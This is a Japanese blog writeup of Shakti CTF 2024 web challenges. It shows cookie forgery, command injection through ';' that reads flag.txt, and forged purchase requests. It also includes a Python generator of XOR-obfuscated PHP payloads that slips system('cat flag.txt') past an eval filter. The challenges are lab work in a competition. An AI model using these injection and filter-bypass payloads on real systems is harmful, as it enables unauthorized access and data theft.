はまやんはまやんはまやん

hamayanhamayan's blog

Shakti CTF (2024) Writeup

https://ctftime.org/event/2268

[Web] Delicious

How delicious!

ソースコード無し。 開くと「Delicious isn't it?」という文字とともにCookieの画像が表示される。
レスポンスを見るとSet-Cookieが付いている。

Set-Cookie: cookie=eyJhZG1pbiI6MH0%3D; Path=/

URL Decodeして、From Base64すると{"admin":0}と出てくる。
https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKaFpHMXBiaUk2TUgwJTNE

admin=1の状態にして使ってみよう。
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)&input=eyJhZG1pbiI6MX0
これを使って以下のようにリクエストするとフラグが得られる。

GET / HTTP/2
Host: ch23900160354.ch.eng.run
Cookie: cookie=eyJhZG1pbiI6MX0%3D

[Web] Find the flag

Flag is in flag.txt

以下のようにコマンドインジェクションできるポイントがある。

@app.get('/')
def index():
    test = request.args.get('test', None)
    if test is None:
        return render_template('index.html')

    command = f"find {test}"

    try:
        output = os.popen(command).read()

;でコマンドを区切ってコマンドインジェクションしてみる。

/?test=a;idとするとuid=0(root) gid=0(root) groups=0(root)と出てくる。idコマンドが動作している。
/?test=a;idとするとflag.txtの存在が分かる。
/?test=a;cat%20flag.txtでフラグ獲得。

[Web] Ultimate Spiderman Fan

Welcome to the Spider-Man Merch Portal . Your mission is to harness your web-slinging skills and become the ultimate Spider-Fan. Are you ready to prove your worth and claim your rightful place among the elite Spider-Fans?
スパイダーマン・マーチ・ポータルへようこそ。あなたの使命は、ウェブを操るスキルを駆使して、究極のスパイダーファンになること。あなたは自分の価値を証明し、エリートスパイダーファンの中で正当な地位を主張する準備ができていますか?

お金を$3000持った状態で、$5000の商品が買えればフラグがもらえそう。
ソースコード無しの状態なのでリクエストの流れを見てみる。

  1. POST /buyproduct_id=1を送ると、対応するshopping_tokenというcookieがもらえる
  2. 手順1のcookieとともにGET /checkoutすると購入が確定する

買いたい商品はボタンが無く、UI上からは買えないのだが、以上のルールでもし変えた場合のリクエストを再現すれば買えそう。

  1. POST /buy
POST /buy HTTP/2
Host: ch11900160369.ch.eng.run
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

product_id=4

これでcookieがもらえるので、以下のように使う。

  1. GET /checkout
GET /checkout HTTP/2
Host: ch11900160369.ch.eng.run
Cookie: shopping_token=eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJhbW91bnQiOiA1MDAwfQ.qdH04CeYzu_qZoL2gBNdEsmtc3XKME6wAFw7CdjId5E

これでフラグゲット。

[Web] Filters

No bypass! Flag is in flag.txt

phpでできたサイトが与えられる。

<?php
highlight_file(__FILE__);
$command = $_GET['command'] ?? '';

if($command === '') {
    die("Please provide a command\n");
}

function filter($command) {
    if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $command)) {
        return false;
    }
    return true;
}

if(filter($command)) {
    eval($command);
    echo "Command executed";
} else {
    echo "Restricted characters have been used";
}
echo "\n";
?>

XORテクが使えそう。
https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md を参考にソルバーを書く。
XORを使って文字制限を回避して任意の文字を作成し、かっこを使って呼び出すという作戦。

# ref: https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md

#string_code = ['system','ls'] # -> ("111114"^"BHBETY")("41"^"XB")
string_code = ['system','cat flag.txt'] # -> ("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE")
obfuscated_code = ""
charset = "1234567890qwertyuiopdfghjklzxvbnmQWERTYUIOPDFGHJKLZXVBNM"

for code in string_code:
    obfuscated = ""
    set_a = ""
    set_b = ""
    for i in code:
        ok = False
        for j in charset:
            for k in charset:
                if ord(j)^ord(k) == ord(i):
                    set_a += j
                    set_b += k
                    ok = True
                    break
            if ok:
                break
    obfuscated_code += f'("{set_a}"^"{set_b}")'
print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)

直ぐ環境が閉じてしまったが print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))で最終的にフラグが得られたはず。

[Web] Notes V1 解けなかった

Is there more to the Simple Notes app than meets the eye?
Note: Use Pow script
https://gist.github.com/L0xm1/b6ece05590ea2ab819b3a833c702089c

reverse proxyとしてgolangで書かれたプログラムが動いていて/admin
ブロックしていて、そのあとのpythonで書かれたプログラムの/admin
Insecure YAML Deselializationがある。
何らかのsmugglingだろうが…

以下だったらしい。脆弱性確認してなかった。
https://security.snyk.io/vuln/SNYK-DEBIAN12-GOLANG117-3040376